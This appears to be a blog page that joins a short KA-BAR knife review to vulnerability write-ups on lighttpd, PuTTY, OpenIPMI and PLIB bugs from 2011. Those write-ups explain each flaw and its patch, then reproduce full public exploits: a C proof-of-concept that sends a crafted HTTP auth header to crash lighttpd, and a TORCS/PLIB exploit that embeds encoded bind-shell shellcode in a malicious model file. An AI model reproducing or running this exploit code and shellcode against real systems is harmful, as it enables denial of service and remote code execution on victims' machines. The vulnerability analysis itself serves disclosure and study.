Knife: KA-BAR USMC #1217
What could anyone say about this classic fighting knife?
I bought it in 2001 and it is still the best knife I have ever owned. So, with no further introduction here is the first photograph…

————————————————
Model: USMC #1217
Manufacturer: KA-BAR
Country Manufactured: USA
Type: Fighting Knife
Price: €70-100
Blade Length: 17.78cm (7 inches)
Total Length (open): 27.94cm (11 inches)
Total Length (closed): N/A
Blade Material: 1095 CroVan Steel
Handle Material: Leather
Lock: N/A
Weight: 314g (0.70 lbs)
————————————————
This is definitely the most famous fixed blade knife ever designed. Each little part of this knife is designed perfectly with high quality for amazingly heavy duty operations. Its blade is razor sharp and can easily stay this way with minor maintenance. Here is a photo from a different angle.

This knife comes in a lot of different models but the design remains the same. The only notable difference is on models that have a small serrated edge but the overall design it’s still exactly the same. Since you can find literally thousands of detailed reviews I’m not going to get into all the details of this knife. I’ll just challenge you to buy one and try it out yourselves. It’s a great knife.
CVE-2011-4362: Lighttpd Remote Signedness Issue
This bug was discovered and reported by Xi Wang and it affects all lighttpd versions prior to 1.4.30 release. The susceptible code resides in src/http_auth.c file in the C function you see below.
/* "A-Z a-z 0-9 + /" maps to 0-63 */
static const short base64_reverse_table[256] = {
/* 0 1 2 3 4 5 6 7 8 9 A B C D E F */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x00 - 0x0F */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x10 - 0x1F */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, /* 0x20 - 0x2F */
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, /* 0x30 - 0x3F */
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, /* 0x40 - 0x4F */
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, /* 0x50 - 0x5F */
-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, /* 0x60 - 0x6F */
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1, /* 0x70 - 0x7F */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x80 - 0x8F */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x90 - 0x9F */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xA0 - 0xAF */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xB0 - 0xBF */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xC0 - 0xCF */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xD0 - 0xDF */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xE0 - 0xEF */
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xF0 - 0xFF */
};
static unsigned char * base64_decode(buffer *out, const char *in) {
unsigned char *result;
int ch, j = 0, k;
size_t i;
...
ch = in[0];
/* run through the whole string, converting as we go */
for (i = 0; i < in_len; i++) {
ch = in[i];
if (ch == '\0') break;
if (ch == base64_pad) break;
ch = base64_reverse_table[ch];
if (ch < 0) continue;
switch(i % 4) {
...
}
...
return result;
}
As you can see, ‘in’ pointer is defined as a signed character. Due to this data type, any values greater than 0×80 will result in returning a negative value in ‘ch’ which is later used as an index value in ‘base64_reverse_table[]‘ array. Because of this mistake this vulnerability results in access out of bounds of the aforementioned array.
So, the patch was to cast the variable properly to avoid this signedness issue.
/* run through the whole string, converting as we go */
for (i = 0; i < in_len; i++) {
- ch = in[i];
+ ch = (unsigned char) in[i];
if (ch == '\0') break;
Furthermore, recently Adam Zabrocki (better known as pi3) released a code that triggers this vulnerability which is p_cve-2011-4362.c. It starts with some very useful comments you see here.
/*
* Primitive Lighttpd Proof of Concept code for CVE-2011-4362 vulnerability discovered by Xi Wang
*
* Here the vulnerable code (src/http_auth.c:67)
*
* --- CUT ---
* static const short base64_reverse_table[256] = {
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x00 - 0x0F
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x10 - 0x1F
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, /* 0x20 - 0x2F
* 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, /* 0x30 - 0x3F
* -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, /* 0x40 - 0x4F
* 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, /* 0x50 - 0x5F
* -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, /* 0x60 - 0x6F
* 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1, /* 0x70 - 0x7F
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x80 - 0x8F
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0x90 - 0x9F
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xA0 - 0xAF
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xB0 - 0xBF
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xC0 - 0xCF
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xD0 - 0xDF
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xE0 - 0xEF
* -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 0xF0 - 0xFF
* };
*
* static unsigned char * base64_decode(buffer *out, const char *in) {
* ...
* int ch, ...;
* size_t i;
* ...
*
* ch = in[i];
* ...
* ch = base64_reverse_table[ch];
* ...
* }
* --- CUT ---
*
* Because variable 'in' is type 'char', characters above 0x80 lead to negative indices.
* This vulnerability may lead out-of-boud read and theoretically cause Segmentation Fault
* (Denial of Service attack). Unfortunately I couldn't find any binaries where .rodata
* section before the base64_reverse_table table cause this situation.
*
* I have added some extra debug in the lighttpd source code to see if this vulnerability is
* executed correctly. Here is output for one of the example:
*
* --- CUT ---
* ptr[0x9a92c48] size[0xc0] used[0x0]
* 127(. | 0 | 0)
* -128(t | 1 | 0)
* -127(e | 2 | 1)
* -126(' | 3 | 2)
* -125(e | 4 | 3)
* -124(u | 5 | 3)
* -123(r | 6 | 4)
* -122(' | 7 | 5)
* -121(s | 8 | 6)
* -120(c | 9 | 6)
* -119(i | 10 | 7)
* -118(n | 11 | 8)
* -117(i | 12 | 9)
* -116( | 13 | 9)
* -115(a | 14 | 10)
* -114(t | 15 | 11)
* -113(. | 16 | 12)
* -112(e | 17 | 12)
* -111(u | 18 | 13)
* -110(r | 19 | 14)
* -109(' | 20 | 15)
* -108(f | 21 | 15)
* -107(i | 22 | 16)
* -106(e | 23 | 17)
* -105(: | 24 | 18)
* -104(= | 25 | 18)
* -103(o | 26 | 19)
* -102(t | 27 | 20)
* -101(o | 28 | 21)
* -100( | 29 | 21)
* -99(a | 30 | 22)
* -98(g | 31 | 23)
* -97(. | 32 | 24)
* -96(d | 33 | 24)
* -95(g | 34 | 25)
* -94(s | 35 | 26)
* -93(: | 36 | 27)
* -92(u | 37 | 27)
* -91(s | 38 | 28)
* -90(p | 39 | 29)
* -89(o | 40 | 30)
* -88(t | 41 | 30)
* -87(d | 42 | 31)
* -86(b | 43 | 32)
* -85(c | 44 | 33)
* -84(e | 45 | 33)
* -83(d | 46 | 34)
* -82(( | 47 | 35)
* -81(n | 48 | 36)
* -80(y | 49 | 36)
* -79(h | 50 | 37)
* -78(d | 51 | 38)
* -77(g | 52 | 39)
* -76(s | 53 | 39)
* -75( | 54 | 40)
* -74(r | 55 | 41)
* -73(p | 56 | 42)
* -72(a | 57 | 42)
* -71(n | 58 | 43)
* -70(. | 59 | 44)
* -69(. | 60 | 45)
* -68(d | 61 | 45)
* -67(g | 62 | 46)
* -66(s | 63 | 47)
* -65(: | 64 | 48)
* -64(( | 65 | 48)
* -63(d | 66 | 49)
* -62(- | 67 | 50)
* -61(e | 68 | 51)
* -60(s | 69 | 51)
* -59( | 70 | 52)
* -58(i | 71 | 53)
* -57(s | 72 | 54)
* -56(n | 73 | 54)
* -55( | 74 | 55)
* -54(i | 75 | 56)
* -53(l | 76 | 57)
* -52(. | 77 | 57)
* -51(. | 78 | 58)
* -50(k | 79 | 59)
* -49(0 | 80 | 60)
* -48(% | 81 | 60)
* -47(] | 82 | 61)
* -46(p | 83 | 62)
* -45(r | 84 | 63)
* -44(0 | 85 | 63)
* -43(% | 86 | 64)
* -42(] | 87 | 65)
* -41(s | 88 | 66)
* -40(z | 89 | 66)
* -39([ | 90 | 67)
* -38(x | 91 | 68)
* -37(x | 92 | 69)
* -36( | 93 | 69)
* -35(s | 94 | 70)
* -34(d | 95 | 71)
* -33(0 | 96 | 72)
* -32(% | 97 | 72)
* -31(] | 98 | 73)
* -30(. | 99 | 74)
* -29(. | 100 | 75)
* -28(d | 101 | 75)
* -27(c | 102 | 76)
* -26(d | 103 | 77)
* -25(i | 104 | 78)
* -24(g | 105 | 78)
* -23(b | 106 | 79)
* -22(s | 107 | 80)
* -21(6 | 108 | 81)
* -20(- | 109 | 81)
* -19(t | 110 | 82)
* -18(i | 111 | 83)
* -17(g | 112 | 84)
* -16(f | 113 | 84)
* -15(i | 114 | 85)
* -14(e | 115 | 86)
* -13(. | 116 | 87)
* -12(. | 117 | 87)
* -11(. | 118 | 88)
* -10(. | 119 | 89)
* -9(. | 120 | 90)
* -8(. | 121 | 90)
* -7(. | 122 | 91)
* -6(. | 123 | 92)
* -5(. | 124 | 93)
* -4(. | 125 | 93)
* -3(. | 126 | 94)
* -2(. | 127 | 95)
* -1(. | 128 | 96)
* k[0x60] ptr[0x9a92c48] size[0xc0] used[0x0]
* ptr[0x9a92c48] size[0xc0] used[0x60]
* string [.Yg.\...n.Xt.]r.ze.....g.Y..\..Yb.Y(..d..r.[..Y...-.xi..i.]
* --- CUT ---
*
* First column is the offset so vulnerability is executed like it should be
* (negative offsets). Second column is byte which is read out-of-bound.
*
*
* Maybe you can find vulnerable binary?
*
*
* Best regards,
* Adam 'pi3' Zabrocki
*
*
* --
* http://pi3.com.pl
* http://site.pi3.com.pl/exp/p_cve-2011-4362.c
* http://blog.pi3.com.pl/?p=277
*
*/
Then there are some definitions of HTTP requests and useful variables…
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <getopt.h> #define PORT 80 #define SA struct sockaddr char header[] = "GET /%s/ HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n" "Accept-Encoding: gzip, deflate\r\n" "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" "Proxy-Connection: keep-alive\r\n" "Authorization: Basic "; char header_port[] = "GET /%s/ HTTP/1.1\r\n" "Host: %s:%d\r\n" "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n" "Accept-Encoding: gzip, deflate\r\n" "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" "Proxy-Connection: keep-alive\r\n" "Authorization: Basic ";
Moving to the main routine we have…
int main(int argc, char *argv[]) {
int i=PORT,opt=0,sockfd;
char *remote_dir = NULL;
char *r_hostname = NULL;
struct sockaddr_in servaddr;
struct hostent *h = NULL;
char *buf;
unsigned int len = 0x0;
if (!argv[1])
usage(argv[0]);
So if no arguments are provided it will invoke usage() which is shown below.
int usage(char *arg) {
printf("\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n");
printf("\n\tUsage: %s <options>\n\n\t\tOptions:\n",arg);
printf("\t\t\t -v <victim>\n\t\t\t -p <port>\n\t\t\t -d <remote_dir_for_auth>\n\n");
exit(0);
}
Back to main function we can see the arguments parsing code which is pretty self-explanatory using the information of usage() routine.
printf("\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n");
printf("\n\t\t[+] Preparing arguments... ");
while((opt = getopt(argc,argv,"h:d:p:?")) != -1) {
switch(opt) {
case 'h':
r_hostname = strdup(optarg);
if ( (h = gethostbyname(r_hostname))==NULL) {
printf("Gethostbyname() field!\n");
exit(-1);
}
break;
case 'p':
i=atoi(optarg);
break;
case 'd':
remote_dir = strdup(optarg);
break;
case '?':
usage(argv[0]);
break;
default:
usage(argv[0]);
break;
}
}
if (!remote_dir || !h) {
usage(argv[0]);
exit(-1);
}
The next step of the code is to allocate the required memory space and zero it out.
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(i);
servaddr.sin_addr = *(struct in_addr*)h->h_addr;
len = strlen(header_port)+strlen(remote_dir)+strlen(r_hostname)+512;
if ( (buf = (char *)malloc(len)) == NULL) {
printf("malloc() :(\n");
exit(-1);
}
memset(buf,0x0,len);
Using the initially defined HTTP requests it will construct the appropriate depending if it using the HTTP default port or some user defined one.
if (i != 80)
snprintf(buf,len,header_port,remote_dir,r_hostname,i);
else
snprintf(buf,len,header,remote_dir,r_hostname);
Then it fills the buffer with negative values (meaning any value greater than 127 decimal (hex 0x7F)) in order to trigger the signedness issue.
for (i=0;i<130;i++)
buf[strlen(buf)] = 127+i;
At last, the buffer is terminated as HTTP expects
buf[strlen(buf)] = '\r'; buf[strlen(buf)] = '\n'; buf[strlen(buf)] = '\r'; buf[strlen(buf)] = '\n';
Finally, it opens a socket to the specified address, connects to it and sends the malicious request.
printf("OK\n\t\t[+] Creating socket... ");
if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0 ) {
printf("Socket() error!\n");
exit(-1);
}
printf("OK\n\t\t[+] Connecting to [%s]... ",r_hostname);
if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) < 0 ) {
printf("Connect() error!\n");
exit(-1);
}
printf("OK\n\t\t[+] Sending dirty packet... ");
// write(1,buf,strlen(buf));
write(sockfd,buf,strlen(buf));
printf("OK\n\n\t\t[+] Check the website!\n\n");
close(sockfd);
}
CVE-2011-4607: PuTTY Password-not-Wiped Vulnerability
This was a very interesting vulnerability disclosed by the PuTTY project through this security advisory.
The buggy code resides in putty/ssh.c file and more specifically in the C routine you see here.
/*
* Handle the SSH-2 userauth and connection layers.
*/
static void do_ssh2_authconn(Ssh ssh, unsigned char *in, int inlen,
struct Packet *pktin)
{
struct do_ssh2_authconn_state {
enum {
AUTH_TYPE_NONE,
AUTH_TYPE_PUBLICKEY,
AUTH_TYPE_PUBLICKEY_OFFER_LOUD,
AUTH_TYPE_PUBLICKEY_OFFER_QUIET,
AUTH_TYPE_PASSWORD,
AUTH_TYPE_GSSAPI, /* always QUIET */
AUTH_TYPE_KEYBOARD_INTERACTIVE,
AUTH_TYPE_KEYBOARD_INTERACTIVE_QUIET
} type;
int done_service_req;
int gotit, need_pw, can_pubkey, can_passwd, can_keyb_inter;
int tried_pubkey_config, done_agent;
#ifndef NO_GSSAPI
int can_gssapi;
int tried_gssapi;
#endif
int kbd_inter_refused;
int we_are_in, userauth_success;
prompts_t *cur_prompt;
int num_prompts;
char *username;
char *password;
int got_username;
void *publickey_blob;
int publickey_bloblen;
int publickey_encrypted;
char *publickey_algorithm;
char *publickey_comment;
unsigned char agent_request[5], *agent_response, *agentp;
int agent_responselen;
unsigned char *pkblob_in_agent;
int keyi, nkeys;
char *pkblob, *alg, *commentp;
int pklen, alglen, commentlen;
int siglen, retlen, len;
char *q, *agentreq, *ret;
int try_send;
int num_env, env_left, env_ok;
struct Packet *pktout;
Filename *keyfile;
#ifndef NO_GSSAPI
struct ssh_gss_library *gsslib;
Ssh_gss_ctx gss_ctx;
Ssh_gss_buf gss_buf;
Ssh_gss_buf gss_rcvtok, gss_sndtok;
Ssh_gss_name gss_srv_name;
Ssh_gss_stat gss_stat;
#endif
};
crState(do_ssh2_authconn_state);
crBegin(ssh->do_ssh2_authconn_crstate);
s->done_service_req = FALSE;
s->we_are_in = s->userauth_success = FALSE;
#ifndef NO_GSSAPI
s->tried_gssapi = FALSE;
#endif
if (!conf_get_int(ssh->conf, CONF_ssh_no_userauth)) {
...
crFinishV;
}
This is a huge function which uses a ‘Socket’ structure which also includes a member named ‘cur_prompt’ of type ‘prompts_t’. This type is defined in putty/putty.h header file as shown below.
/*
* Mechanism for getting text strings such as usernames and passwords
* from the front-end.
* The fields are mostly modelled after SSH's keyboard-interactive auth.
* FIXME We should probably mandate a character set/encoding (probably UTF-8).
*
* Since many of the pieces of text involved may be chosen by the server,
* the caller must take care to ensure that the server can't spoof locally-
* generated prompts such as key passphrase prompts. Some ground rules:
* - If the front-end needs to truncate a string, it should lop off the
* end.
* - The front-end should filter out any dangerous characters and
* generally not trust the strings. (But \n is required to behave
* vaguely sensibly, at least in `instruction', and ideally in
* `prompt[]' too.)
*/
typedef struct {
char *prompt;
int echo;
/*
* 'result' must be a dynamically allocated array of exactly
* 'resultsize' chars. The code for actually reading input may
* realloc it bigger (and adjust resultsize accordingly) if it has
* to. The caller should free it again when finished with it.
*
* If resultsize==0, then result may be NULL. When setting up a
* prompt_t, it's therefore easiest to initialise them this way,
* which means all actual allocation is done by the callee. This
* is what add_prompt does.
*/
char *result;
size_t resultsize;
} prompt_t;
typedef struct {
/*
* Indicates whether the information entered is to be used locally
* (for instance a key passphrase prompt), or is destined for the wire.
* This is a hint only; the front-end is at liberty not to use this
* information (so the caller should ensure that the supplied text is
* sufficient).
*/
int to_server;
char *name; /* Short description, perhaps for dialog box title */
int name_reqd; /* Display of `name' required or optional? */
char *instruction; /* Long description, maybe with embedded newlines */
int instr_reqd; /* Display of `instruction' required or optional? */
size_t n_prompts; /* May be zero (in which case display the foregoing,
* if any, and return success) */
prompt_t **prompts;
void *frontend;
void *data; /* slot for housekeeping data, managed by
* get_userpass_input(); initially NULL */
} prompts_t;
prompts_t *new_prompts(void *frontend);
void add_prompt(prompts_t *p, char *promptstr, int echo);
void prompt_set_result(prompt_t *pr, const char *newstr);
void prompt_ensure_result_size(prompt_t *pr, int len);
/* Burn the evidence. (Assumes _all_ strings want free()ing.) */
void free_prompts(prompts_t *p);
The problem with the initial routine was that it was not using free_prompts() to “burn the evidence” as the above code comment suggests. Due to this mistake, critical data such as passwords and usernames were not erased from memory and a user able to read PuTTY process’ memory could retrieve those data.
The fix was to add the missing call like this:
ssh2_pkt_send_with_padding(ssh, s->pktout, 256); + /* + * Free the prompts structure from this iteration. + * If there's another, a new one will be allocated + * when we return to the top of this while loop. + */ + free_prompts(s->cur_prompt); + /* * Get the next packet in case it's another * INFO_REQUEST.
CVE-2011-4339: OpenIPMI Event Daemon Insecure PID File Creation
As it was reported by Masahiro Matsuya, OpenIPMI (Intelligent Platform Management Interface) library and tools was creating its PID files with world writable (meaning 0666) permissions.
Due to this, any local user could change the PID of the aforementioned files and send signals (such as kill) to other processes.
The fix to this bug was to patch lib/helper.c file. Specifically, daemon’s initialization routine, ipmi_start_daemon() in order to remove the umask(2) system call.
chdir("/");
- umask(0);
for (fd=0; fd<64; fd++) {
if (fd != intf->fd)
CVE-2011-4620: PLIB Stack Based Buffer Overflow
This was released as an exploit by Andres Gomez for TORCS which is available here. However, this was a bug located in PLIB library and more specifically in file src/util/ulError.cxx in the code snippet you see below.
static char _ulErrorBuffer [ 1024 ] = { '\0' } ;
static ulErrorCallback _ulErrorCB = 0 ;
...
void ulSetError ( enum ulSeverity severity, const char *fmt, ... )
{
va_list argp;
va_start ( argp, fmt ) ;
vsprintf ( _ulErrorBuffer, fmt, argp ) ;
va_end ( argp ) ;
if ( _ulErrorCB )
{
(*_ulErrorCB)( severity, _ulErrorBuffer ) ;
}
else
{
fprintf ( stderr, "%s: %s\n",
_ulSeverityText[ severity ], _ulErrorBuffer ) ;
if ( severity == UL_FATAL )
{
#ifdef WIN32
// A Windows user that does not start the program from the command line
// will not see output to stderr
::MessageBox(0, _ulErrorBuffer, "fatal error!:", 0);
#endif
exit (1) ;
}
}
As you can see the code will always use the statically allocated ‘_ulErrorBuffer[]‘ array which has size of 1024 Bytes. Any error messages longer than that will result in stack memory corruption.
This means that if the attacker is able to control even partially an error message’s length he/she would be able to exploit this vulnerability and achieve code execution.
Currently there is no fix for this problem so there is no workaround or patch to discuss. Moving to the exploitation, as I mentioned in the beginning of this post, Andres Gomez has already published an exploit for Windows platform. Let’s have a look…
/* Exploit Title: TORCS acc Buffer Overflow
# Date: 20/12/2011
# Author: Andres Gomez
# Software Link: http://torcs.sourceforge.net/
# Version: torcs 1.3.1
# Tested on: Windows
# CVE : */
/*
This exploit generates a corrupted acc file
which has to be saved in the directories where
TORCS loads its data, for example replace
cars/car4-trb1/car4-trb1.acc and put test.acc or create
a new car/track and select it in the TORCS menu
*/
#include <stdio.h>
#include <stdlib.h>
/*
Shellcode: windows/shell_bind_tcp LPORT=4444 -b '\x00\xff\x0a'
Encoder: x86/shikata_ga_nai
*/
unsigned char buf[] =
"\xbd\x2e\xed\xb6\x2d\xdd\xc2\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x6e\x0f\x03\x6e\x21\x0f\x43\xd1\xd5\x46"
"\xac\x2a\x25\x39\x24\xcf\x14\x6b\x52\x9b\x04\xbb\x10\xc9\xa4"
"\x30\x74\xfa\x3f\x34\x51\x0d\x88\xf3\x87\x20\x09\x32\x08\xee"
"\xc9\x54\xf4\xed\x1d\xb7\xc5\x3d\x50\xb6\x02\x23\x9a\xea\xdb"
"\x2f\x08\x1b\x6f\x6d\x90\x1a\xbf\xf9\xa8\x64\xba\x3e\x5c\xdf"
"\xc5\x6e\xcc\x54\x8d\x96\x67\x32\x2e\xa6\xa4\x20\x12\xe1\xc1"
"\x93\xe0\xf0\x03\xea\x09\xc3\x6b\xa1\x37\xeb\x66\xbb\x70\xcc"
"\x98\xce\x8a\x2e\x25\xc9\x48\x4c\xf1\x5c\x4d\xf6\x72\xc6\xb5"
"\x06\x57\x91\x3e\x04\x1c\xd5\x19\x09\xa3\x3a\x12\x35\x28\xbd"
"\xf5\xbf\x6a\x9a\xd1\xe4\x29\x83\x40\x41\x9c\xbc\x93\x2d\x41"
"\x19\xdf\xdc\x96\x1b\x82\x88\x5b\x16\x3d\x49\xf3\x21\x4e\x7b"
"\x5c\x9a\xd8\x37\x15\x04\x1e\x37\x0c\xf0\xb0\xc6\xae\x01\x98"
"\x0c\xfa\x51\xb2\xa5\x82\x39\x42\x49\x57\xed\x12\xe5\x07\x4e"
"\xc3\x45\xf7\x26\x09\x4a\x28\x56\x32\x80\x5f\x50\xfc\xf0\x0c"
"\x37\xfd\x06\xa3\x9b\x88\xe1\xa9\x33\xdd\xba\x45\xf6\x3a\x73"
"\xf2\x09\x69\x2f\xab\x9d\x25\x39\x6b\xa1\xb5\x6f\xd8\x0e\x1d"
"\xf8\xaa\x5c\x9a\x19\xad\x48\x8a\x50\x96\x1b\x40\x0d\x55\xbd"
"\x55\x04\x0d\x5e\xc7\xc3\xcd\x29\xf4\x5b\x9a\x7e\xca\x95\x4e"
"\x93\x75\x0c\x6c\x6e\xe3\x77\x34\xb5\xd0\x76\xb5\x38\x6c\x5d"
"\xa5\x84\x6d\xd9\x91\x58\x38\xb7\x4f\x1f\x92\x79\x39\xc9\x49"
"\xd0\xad\x8c\xa1\xe3\xab\x90\xef\x95\x53\x20\x46\xe0\x6c\x8d"
"\x0e\xe4\x15\xf3\xae\x0b\xcc\xb7\xdf\x41\x4c\x91\x77\x0c\x05"
"\xa3\x15\xaf\xf0\xe0\x23\x2c\xf0\x98\xd7\x2c\x71\x9c\x9c\xea"
"\x6a\xec\x8d\x9e\x8c\x43\xad\x8a";
Just the Metasploit generated shellcode along with some useful comments. Moving to the code is exactly what you would expect…
// this points to your shellcode
unsigned char function_pointer [] = "\xA8\xCA\x0E\x10";
int main(int argc, char **argv) {
FILE *save_fd;
int i=0;
save_fd = fopen("test.acc", "w");
if (save_fd == NULL) {
printf("Failed to open '%s' for writing", "test.acc");
return -1;
}
fprintf(save_fd, "AC3Db\n");
fprintf(save_fd, "MATERIAL \"");
for(i=0; i < 607; i++) {
putc('\x90', save_fd);
}
fprintf(save_fd, "%s%s\" rgb 0.4 0.4 0.4 amb 0.8 0.8 0.8 emis 0.4 0.4 0.4 spec 0.5 0.5 0.5 shi 50 trans 0\n", buf, function_pointer);
fprintf(save_fd, "OBJECT world\n");
fprintf(save_fd, "kids %d\n", 5);
close(save_fd);
return 0;
}
It creates a malicious ACC file (named test.acc) which triggers the vulnerability through a ACC file parsing error and results in overwriting the ‘function_pointer[]‘ to achieve code execution of the shellcode.
